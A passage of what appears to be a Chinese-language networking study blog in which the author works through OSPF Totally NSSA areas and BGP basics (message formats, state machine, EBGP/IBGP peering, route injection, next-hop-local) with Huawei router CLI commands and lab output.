5.5.5.5 Link State Database Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 50 36 80000004 1 Router 5.5.5.5 5.5.5.5 41 48 80000006 1 Network 25.1.1.5 5.5.5.5 41 32 80000002 0 Sum-Net 6.6.6.6 2.2.2.2 39 28 80000001 50 Sum-Net 3.3.3.3 2.2.2.2 51 28 80000001 1 Sum-Net 14.1.1.0 2.2.2.2 39 28 80000001 49 Sum-Net 123.1.1.0 2.2.2.2 88 28 80000001 1 Sum-Net 46.1.1.0 2.2.2.2 39 28 80000001 50 Sum-Net 4.4.4.4 2.2.2.2 39 28 80000001 49 Sum-Net 2.2.2.2 2.2.2.2 88 28 80000001 0 Sum-Net 1.1.1.1 2.2.2.2 39 28 80000001 1 Sum-Net 10.1.0.0 2.2.2.2 39 28 80000001 50 NSSA 20.1.0.0 5.5.5.5 91 36 80000001 2 NSSA 7.7.7.7 5.5.5.5 91 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 95 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 87 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 91 36 80000001 1 NSSA 0.0.0.0 2.2.2.2 51 36 80000001 1 &lt;R2&gt;dis ospf lsdb OSPF Process 1 with Router ID 2.2.2.2 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 154 60 80000006 0 Router 2.2.2.2 2.2.2.2 119 48 80000009 1 Router 1.1.1.1 1.1.1.1 125 72 8000000B 1 Router 3.3.3.3 3.3.3.3 120 48 8000000A 1 Network 123.1.1.3 3.3.3.3 120 36 80000005 0 Sum-Net 6.6.6.6 4.4.4.4 140 28 80000001 1 Sum-Net 5.5.5.5 2.2.2.2 132 28 80000001 1 Sum-Net 46.1.1.0 4.4.4.4 180 28 80000001 1 Sum-Net 25.1.1.0 2.2.2.2 172 28 80000001 1 Sum-Net 10.1.0.0 4.4.4.4 140 28 80000001 1 Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 134 36 80000004 1 Router 5.5.5.5 5.5.5.5 127 48 80000006 1 Network 25.1.1.5 5.5.5.5 127 32 80000002 0 Sum-Net 6.6.6.6 2.2.2.2 123 28 80000001 50 Sum-Net 3.3.3.3 2.2.2.2 135 28 80000001 1 Sum-Net 14.1.1.0 2.2.2.2 123 28 80000001 49 Sum-Net 123.1.1.0 2.2.2.2 172 28 80000001 1 Sum-Net 46.1.1.0 2.2.2.2 123 28 80000001 50 Sum-Net 4.4.4.4 2.2.2.2 123 28 80000001 49 Sum-Net 2.2.2.2 2.2.2.2 172 28 80000001 0 Sum-Net 1.1.1.1 2.2.2.2 123 28 80000001 1 Sum-Net 10.1.0.0 2.2.2.2 123 28 80000001 50 NSSA 0.0.0.0 2.2.2.2 135 36 80000001 1 NSSA 20.1.0.0 5.5.5.5 177 36 80000001 2 NSSA 7.7.7.7 5.5.5.5 177 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 182 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 174 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 178 36 80000001 1 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 20.1.0.0 2.2.2.2 133 36 80000001 2 External 7.7.7.7 2.2.2.2 133 36 80000001 1 External 57.1.1.0 2.2.2.2 133 36 80000001 1 Totally NSSA 区域Totally NSSA (完全次末节区域): 只有 1LSA,2LSA,7LSA 和一条描述缺省路由的 3LSA, 一条描述缺省路由的 7LSA 骨干区域不能作为特殊区域 虚连接不能穿越骨干区域 [R5]ospf[R5-ospf-1]a 2[R5-ospf-1-area-0.0.0.2]nssa no-summary[R2]ospf[R2-ospf-1]a 2[R2-ospf-1-area-0.0.0.2]nssa no-summary[R5-ospf-1-area-0.0.0.2]dis ospf lsdb OSPF Process 1 with Router ID 5.5.5.5 Link State Database Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 34 36 8000000A 1 Router 5.5.5.5 5.5.5.5 33 48 8000000C 1 Network 25.1.1.2 2.2.2.2 34 32 80000002 0 Sum-Net 0.0.0.0 2.2.2.2 56 28 80000001 1 NSSA 20.1.0.0 5.5.5.5 44 36 80000003 2 NSSA 7.7.7.7 5.5.5.5 44 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 44 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 44 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 44 36 80000001 1 NSSA 0.0.0.0 2.2.2.2 56 36 80000001 1 [R2-ospf-1-area-0.0.0.2]dis ospf lsdb OSPF Process 1 with Router ID 2.2.2.2 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 575 60 80000006 0 Router 2.2.2.2 2.2.2.2 540 48 80000009 1 Router 1.1.1.1 1.1.1.1 546 72 8000000B 1 Router 3.3.3.3 3.3.3.3 541 48 8000000A 1 Network 123.1.1.3 3.3.3.3 541 36 80000005 0 Sum-Net 6.6.6.6 4.4.4.4 561 28 80000001 1 Sum-Net 5.5.5.5 2.2.2.2 28 28 80000001 1 Sum-Net 46.1.1.0 4.4.4.4 601 28 80000001 1 Sum-Net 25.1.1.0 2.2.2.2 51 28 80000002 1 Sum-Net 10.1.0.0 4.4.4.4 561 28 80000001 1 Area: 0.0.0.2 Type LinkState ID AdvRouter Age Len Sequence Metric Router 2.2.2.2 2.2.2.2 29 36 8000000A 1 Router 5.5.5.5 5.5.5.5 30 48 8000000C 1 Network 25.1.1.2 2.2.2.2 29 32 80000002 0 Sum-Net 0.0.0.0 2.2.2.2 51 28 80000001 1 NSSA 0.0.0.0 2.2.2.2 51 36 80000001 1 NSSA 20.1.0.0 5.5.5.5 41 36 80000003 2 NSSA 7.7.7.7 5.5.5.5 598 36 80000001 1 NSSA 5.5.5.5 5.5.5.5 602 36 80000002 1 NSSA 25.1.1.0 5.5.5.5 594 36 80000001 1 NSSA 57.1.1.0 5.5.5.5 598 36 80000001 1 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 20.1.0.0 2.2.2.2 28 36 80000001 2 External 7.7.7.7 2.2.2.2 28 36 80000001 1 External 57.1.1.0 2.2.2.2 28 36 80000001 1"},{"title":"","date":"2024-03-04T02:00:00.000Z","updated":"2024-03-11T02:00:00.000Z","comments":true,"path":"notes/datacom/24.html","permalink":"https://blog.mhuig.top/notes/datacom/24","excerpt":"","text":"BGP BGP BGPBGP: 边界网关协议，是目前唯一的一种 EGP 协议。是一种增强型的路径矢量路由协议. AS: 自治系统，是由同一个技术机构进行管理并且运行相同的选路策略的一组路由设备. AS 号: 1-65535. 1-64511 共有 AS. 64512-65535 私有 AS. 是一个 16bit 的整数，目前新版本的 BGP 支持 4 字节的 AS 号. IGP 着重于发现路由和计算路由. BGP 着重于控制路由，传播路由以及最优的路径选择. BGP 特征 BGP 具备可靠的路由更新机制。基于 TCP 协议传递报文，协议号为 179. BGP 具备丰富的度量值. 从设计上避免了环路. 附带多种路由属性. 支持 CIDR, 具备丰富的路由过滤和路由策略机制. BGP 无周期更新，只会通过周期性发送 Keepalive 报文来检测 TCP 的连通性. (OSPF 有周期性更新，OSPF LSA 周期性更新默认 1800s 老化 3600s) 只进行增量更新.(只更新变化的路由) 所有的报文属性均采用 TLV 结构，增强扩展性. BGP 路由传递在两个 AS 之间运行的 BGP PEER 称为 EBGP (外部 BGP) 在两个 AS 内部运行的 BGP PEER 称为 IBGP (内部 BGP) BGP 的报文 Open: 用于负责建立 BGP 对等体以及协商对等体之间相关参数. Keepalive: 周期性 (60s) 发送，用于检测 BGP PEER 之间的连通性。如果在 180s 内没有收到对方的 Keepalive 报文则认为邻居失效. Update: 用于在 BGP 对等体之间来传递路由信息，可以用于新路由的更新，也可以用于老路由的撤销. Notification: 当 BGP 设备检测到错误信息时，会发送 Notification 报文通知对等体. Route-refresh: 用来通知对等体路由刷新. EBGP 基础配置1. 创建 BGP 进程并设置 RID 2. 指定对等体 IP 地址，以及 AS 号 [R1]bgp ? INTEGER&lt;1-65535&gt; 2-byte autonomous system number STRING&lt;3-11&gt; 4-byte autonomous system number (number&lt;1-65535&gt;.number&lt;0-65535&gt;)[R1]bgp 100[R1-bgp]router-id 1.1.1.1[R1-bgp]peer 12.1.1.2 as-number 200[R2]bgp 200[R2-bgp]router-id 2.2.2.2[R2-bgp]peer 12.1.1.1 as-number 100[R2-bgp]查看 bgp 状态[R1-bgp]display bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 1 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 12.1.1.2 4 200 2 3 0 00:00:23 Established 0[R1-bgp]IP协议号6:TCP1:ICMP17:UDP89:OSPF[R1-GigabitEthernet0/0/0]shutdown[R1-GigabitEthernet0/0/0]undo shutdown BGP 协议头 Marker: 标记信息，共 16 字节，固定全为 1. Length: 长度，包含 BGP 头部与报文内容的总长度。共 2 字节 Type: 类型，用于标识 BGP 报文类型. 1, 表示 Open 2, 表示 Update 3, 表示 Notification 4, 表示 Keepalive 5, 表示 Route-refresh Open 报文字段 1.version: 表示当前使用的 BGP 版本。目前使用的 BGP 版本为 BGP 4+, 所以目前该字段固定为 4. 2.my as: 表示当前 BGP 设备自身的 AS 号 3.hold time: 保持时间，用于表示 BGP keepalive 报文的超时时间。如果两台设备时间不一致，则按照较小值为准. 4.RID: 用于标识当前设备的 RID. 5. 可选参数长度：用于标识 BGP 可选参数信息的长度. 6. 可选参数：用于协商 BGP 的能力，以及相关参数. 可选参数由 TLV 结构组成TLV 结构：通过 TLV 结构可以大大增加协议自身的扩展性. Type: 表示当前 TLV 结构的类型. Length: 表示当前 TLV 结构的长度. Value: 表示当前 TLV 结构的数值. Keepalive 报文字段只包含 BGP 的协议头，无报文字段内容. Update 报文字段 Withdrawn routes length: 无效路由长度，用于标识无效路由 (撤销路由) 的长度信息. Withdrawn routes: 用于表明撤销的路由信息. Path attribute length: 用于标识路径属性信息长度. Path attribute: 用于标识 BGP 路由的路径属性. NLRI: 网络层可达信息。用于传递的 BGP 路由. BGP 传递路由时，一个 Update 报文只能携带一条路由，或多条属性相同的路由. 导入直连路由注入 BGP, 出现 Update 报文 [R1-bgp]import-route direct 撤销路由，出现 Update 报文 [R1-bgp]undo import-route direct Notification 报文字段 错误代码: 1. 表示消息头错误 2. 表示 open 报文错误 3. 表示 Update 报文错误 4. 表示 Keepalive 超时 5. 表示状态机错误 6. 表示终止会话. (管理员关闭，或检测到接口 down) 子错误代码: 数据 当收到 Notification 报文后，BGP 会 down 掉邻居的会话. Route-refresh 报文字段AFI : (2B) 地址家族SAFI : (1B) 子地址家族 BGP 状态机Idle: 空闲状态，表示 BGP 设备的初始状态。当 BGP 进程收到 START 消息后尝试 TCP 连接，并转入 connect 状态. Connect: 连接状态，此时会主动与 BGP 对等体建立 TCP 会话状态，如果 TCP 会话建立成功则会进入 openset 状态，如果 TCP 会话建立失败则会进入 Active 状态. Active: 活动状态，在该状态下会等待 PEER 与其建立邻居关系，如果 TCP 会话建立成功，则进入 openset 状态，如果 TCP 重传计时器 (32s) 超时，则回到 connect 状态重新建立 TCP. Openset: 在该状态下表示 BGP 的 TCP 会话已经建立成功，并且向邻居发送 open 报文，并等等对方的 open 报文。如果收到对方正确的 open 报文，则进入 openconfirm. Openconfirm: 表示对 open 报文进行了确认，此时会向对方发送 keeepalive 报文，如果收到了对方的 Keepalive 报文，则进入 established 状态. Established: 表示 BGP 的会话已经建立成功，也是 BGP 最终的稳定状态。在该状态下可以发送 Update Keepalive route-refresh 和 notification 报文. 在任何状态下收到 Notification 报文都会直接回到 Idle 状态. [R1]display bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 0 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 12.1.1.2 4 200 0 0 0 00:00:31 Idle 0[R1]display bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 0 Peer V AS MsgRcvd MsgSent OutQ Up/Down State Pre fRcv 12.1.1.2 4 200 1 3 0 00:00:32 OpenConfirm 0[R1]Mar 4 2024 11:58:48-08:00 R1 %%01BGP/3/STATE_CHG_UPDOWN(l)[5]:The status of the peer 12.1.1.2 changed from OPENCONFIRM to ESTABLISHED. (InstanceName=Public, StateChangeReason=Up) display bgp peer BGP 的路由BGP 的路由：BGP 协议本身无法自动发现路由，需要将现有路由表中的路由注入 BGP 从而形成 BGP 路由.BGP 所有的路由信息会先加入到 BGP 表，在 BGP 表中最优的路由会进入到 IP 路由表 IBGP 配置IBGP 配置: 1.AS 内通过 IGP 网络可达 2.IBGP 一般采用环回口作为 BGP 互联接口. 如果 EBGP 需要通过环回口建立 BGP PEER, 则 1. 首先通过静态路由确保环回口可达 2. 在 EBGP 中开启 BGP 多跳功能 EBGP 默认会开启直连检测功能. 开启 EBGP 多跳功能后 EBGP 会自动关闭直连检查功能. ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0 network 23.1.1.2 0.0.0.0 bgp 100 router-id 2.2.2.2 peer 1.1.1.1 as-number 100 peer 1.1.1.1 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0[R1]bgp 100[R1-bgp]router-id 1.1.1.1[R1-bgp]peer 2.2.2.2 as-number 100[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 0 Peer V AS MsgRcvd MsgSent OutQ Up/Down State Pre fRcv 2.2.2.2 4 100 0 0 0 00:02:00 Active 0物理接口改成环回接口[R1-bgp]peer 2.2.2.2 connect-interface LoopBack 0[R2-bgp]peer 1.1.1.1 connect-interface LoopBack 0[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 1 Peers in established state : 1 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 2 3 0 00:00:02 Established 0[R2-bgp]dis thbgp 100 router-id 2.2.2.2 peer 1.1.1.1 as-number 100 peer 1.1.1.1 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0(TCP可达就可以建立peer)[R1]bgp 100[R1-bgp]peer 3.3.3.3 as-number 100[R1-bgp]peer 3.3.3.3 connect-interface LoopBack0[R3]bgp 100[R3-bgp]peer 1.1.1.1 as-path-filter[R3-bgp]peer 1.1.1.1 as-number 100[R3-bgp] peer 1.1.1.1 connect-interface LoopBack0[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 2 Peers in established state : 2 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 16 17 0 00:14:50 Established 0 3.3.3.3 4 100 2 3 0 00:00:06 Established 0[R1]ip route-static 4.4.4.4 32 14.1.1.4[R4]ip route-static 1.1.1.1 32 14.1.1.1[R1]Ping -a 1.1.1.1 4.4.4.4 PING 4.4.4.4: 56 data bytes, press CTRL_C to break Reply from 4.4.4.4: bytes=56 Sequence=1 ttl=255 time=60 ms Reply from 4.4.4.4: bytes=56 Sequence=2 ttl=255 time=30 ms Reply from 4.4.4.4: bytes=56 Sequence=3 ttl=255 time=20 ms Reply from 4.4.4.4: bytes=56 Sequence=4 ttl=255 time=20 ms Reply from 4.4.4.4: bytes=56 Sequence=5 ttl=255 time=30 ms --- 4.4.4.4 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 20/32/60 ms[R4-bgp]dis th[V200R003C00]#bgp 200 peer 1.1.1.1 as-number 200 peer 1.1.1.1 connect-interface LoopBack0 peer 4.4.4.4 as-number 200 [R1-bgp]dis th[V200R003C00]#bgp 100 router-id 1.1.1.1 peer 2.2.2.2 as-number 100 peer 2.2.2.2 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0 peer 4.4.4.4 as-number 200 peer 4.4.4.4 connect-interface LoopBack0[R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 3 Peers in established state : 2 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 28 29 0 00:26:00 Established 0 3.3.3.3 4 100 13 14 0 00:11:16 Established 0 4.4.4.4 4 200 0 0 0 00:00:17 Idle [R1-bgp]peer 4.4.4.4 ebgp-max-hop 2[R1-bgp]dis th[V200R003C00]#bgp 100 router-id 1.1.1.1 peer 2.2.2.2 as-number 100 peer 2.2.2.2 connect-interface LoopBack0 peer 3.3.3.3 as-number 100 peer 3.3.3.3 connect-interface LoopBack0 peer 4.4.4.4 as-number 200 peer 4.4.4.4 ebgp-max-hop 2 peer 4.4.4.4 connect-interface LoopBack0[R4-bgp]dis th[V200R003C00]#bgp 200 peer 1.1.1.1 as-number 100 peer 1.1.1.1 ebgp-max-hop 2 [R1-bgp]dis bgp peer BGP local router ID : 1.1.1.1 Local AS number : 100 Total number of peers : 3 Peers in established state : 3 Peer V AS MsgRcvd MsgSent OutQ Up/Down State PrefRcv 2.2.2.2 4 100 33 34 0 00:31:34 Established 0 3.3.3.3 4 100 18 19 0 00:16:50 Established 0 4.4.4.4 4 200 2 3 0 00:00:01 Established 0 BGP 的路由注入network 命令：将路由表现有的路由逐条注入到 BGP 表中。注入路由时网络号和掩码必须匹配路由表中的信息. import-route 命令：可以将某一类路由一次性注入进 BGP 中 [R4]int LoopBack 1[R4-LoopBack1]ip add 10.4.4.4 24[R4]bgp 200[R4-bgp]network 10.4.4.0 24[R4-bgp]display bgp routing-table BGP Local router ID is 4.4.4.4 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 1 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 10.4.4.0/24 0.0.0.0 0 0 i[R4-bgp]undo network 10.4.4.0 255.255.255.0[R4]ip route-static 10.1.1.0 24 NULL 0 [R4]bgp 200[R4-bgp]network 10.1.1.0 24[R4-bgp]dis bgp routing-table BGP Local router ID is 4.4.4.4 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 1 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 10.1.1.0/24 0.0.0.0 0 0 i[R4-bgp]import-route ? direct Connected routes isis Intermediate System to Intermediate System (IS-IS) routes ospf Open Shortest Path First (OSPF) routes rip Routing Information Protocol (RIP) routes static Static routes unr User network routes[R3]ip route-static 30.1.0.0 24 NULL 0[R3]ip route-static 30.1.1.0 24 NULL 0[R3]ip route-static 30.1.2.0 24 NULL 0[R3]ip route-static 30.1.3.0 24 NULL 0[R3]bgp 100[R3-bgp]import-route static [R3-bgp]dis bgp routing-table BGP Local router ID is 3.3.3.3 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 5 Network NextHop MED LocPrf PrefVal Path/Ogn i 10.1.1.0/24 4.4.4.4 0 100 0 200i *&gt; 30.1.0.0/24 0.0.0.0 0 0 ? *&gt; 30.1.1.0/24 0.0.0.0 0 0 ? *&gt; 30.1.2.0/24 0.0.0.0 0 0 ? *&gt; 30.1.3.0/24 0.0.0.0 0 0 ?[R3-bgp]import-route ospf 1[R3-bgp]display bgp routing-table BGP Local router ID is 3.3.3.3 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 10 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt; 1.1.1.1/32 0.0.0.0 2 0 ? *&gt; 2.2.2.2/32 0.0.0.0 1 0 ? *&gt; 3.3.3.3/32 0.0.0.0 0 0 ? i 10.1.1.0/24 4.4.4.4 0 100 0 200i *&gt; 12.1.1.0/24 0.0.0.0 2 0 ? *&gt; 23.1.1.0/24 0.0.0.0 0 0 ? *&gt; 30.1.0.0/24 0.0.0.0 0 0 ? *&gt; 30.1.1.0/24 0.0.0.0 0 0 ? *&gt; 30.1.2.0/24 0.0.0.0 0 0 ? *&gt; 30.1.3.0/24 0.0.0.0 0 0 ?[R1]dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 2.2.2.2/32 OSPF 10 1 D 12.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 4.4.4.4/32 Static 60 0 RD 14.1.1.4 GigabitEthernet0/0/1 10.1.1.0/24 EBGP 255 0 RD 4.4.4.4 GigabitEthernet0/0/1 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/0 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 GigabitEthernet0/0/1 14.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 14.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.0/24 OSPF 10 2 D 12.1.1.2 GigabitEthernet0/0/0 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/0 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEtherne0/0/0 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/0 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 BGP 路由不调优的可能性BGP 只会将 BGP 表中最优的路由加入到 IP 路由表中. BGP 路由不调优的可能性: 1.BGP 开启 BGP 同步检测功能且路由不同步.(该功能默认关闭，且 ENSP 模拟器中无法开启) 2.BGP 路由的下一跳地址不可达，会导致 BGP 路由失效，造成不调优. 解决方案 1: 在 IGP 中添加对应网络的路由信息，使下一跳地址可达. ospf 1 router-id 1.1.1.1 import-route static 解决方案 2: 更改路由的下一跳，使其变为网络中的可达地址，实现路由有效性 bgp 100 peer 2.2.2.2 next-hop-local &lt;R2&gt;dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 11 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt;i 1.1.1.1/32 3.3.3.3 2 100 0 ? *&gt;i 2.2.2.2/32 3.3.3.3 1 100 0 ? i 3.3.3.3/32 3.3.3.3 0 100 0 ? i 10.1.1.0/24 4.4.4.4 0 100 0 200i i 10.4.4.0/24 4.4.4.4 0 100 0 200i *&gt;i 12.1.1.0/24 3.3.3.3 2 100 0 ? *&gt;i 23.1.1.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.0.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.1.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.2.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.3.0/24 3.3.3.3 0 100 0 ?&lt;R2&gt;&lt;R2&gt;dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 17 Routes : 17 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 12.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 23.1.1.3 GigabitEthernet0/0/1 12.1.1.0/24 Direct 0 0 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.0/24 Direct 0 0 D 23.1.1.2 GigabitEthernet0/0/1 23.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEtherne0/0/1 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0&lt;R2&gt;[R1]ospf 1[R1-ospf-1]import-route static [R2]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 12.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 23.1.1.3 GigabitEthernet0/0/1 4.4.4.4/32 O_ASE 150 1 D 12.1.1.1 GigabitEthernet0/0/0 10.1.1.0/24 IBGP 255 0 RD 4.4.4.4 GigabitEthernet0/0/0 10.4.4.0/24 IBGP 255 0 RD 4.4.4.4 GigabitEthernet0/0/0 12.1.1.0/24 Direct 0 0 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 12.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 23.1.1.0/24 Direct 0 0 D 23.1.1.2 GigabitEthernet0/0/1 23.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 23.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 30.1.0.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.1.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.2.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 30.1.3.0/24 IBGP 255 0 RD 3.3.3.3 GigabitEthernet0/0/1 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R2][R2]dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 12 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt;i 1.1.1.1/32 3.3.3.3 2 100 0 ? *&gt;i 2.2.2.2/32 3.3.3.3 1 100 0 ? i 3.3.3.3/32 3.3.3.3 0 100 0 ? *&gt;i 4.4.4.4/32 3.3.3.3 1 100 0 ? *&gt;i 10.1.1.0/24 4.4.4.4 0 100 0 200i *&gt;i 10.4.4.0/24 4.4.4.4 0 100 0 200i *&gt;i 12.1.1.0/24 3.3.3.3 2 100 0 ? *&gt;i 23.1.1.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.0.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.1.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.2.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.3.0/24 3.3.3.3 0 100 0 ?[R2][R1-bgp]peer 2.2.2.2 next-hop-local[R2]dis bgp routing-table BGP Local router ID is 2.2.2.2 Status codes: * - valid, &gt; - best, d - damped, h - history, i - internal, s - suppressed, S - Stale Origin : i - IGP, e - EGP, ? - incomplete Total Number of Routes: 11 Network NextHop MED LocPrf PrefVal Path/Ogn *&gt;i 1.1.1.1/32 3.3.3.3 2 100 0 ? *&gt;i 2.2.2.2/32 3.3.3.3 1 100 0 ? i 3.3.3.3/32 3.3.3.3 0 100 0 ? *&gt;i 10.1.1.0/24 1.1.1.1 0 100 0 200i *&gt;i 10.4.4.0/24 1.1.1.1 0 100 0 200i *&gt;i 12.1.1.0/24 3.3.3.3 2 100 0 ? *&gt;i 23.1.1.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.0.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.1.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.2.0/24 3.3.3.3 0 100 0 ? *&gt;i 30.1.3.0/24 3.3.3.3 0 100 0 ?[R2]dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 19 Routes : 19 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 12.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 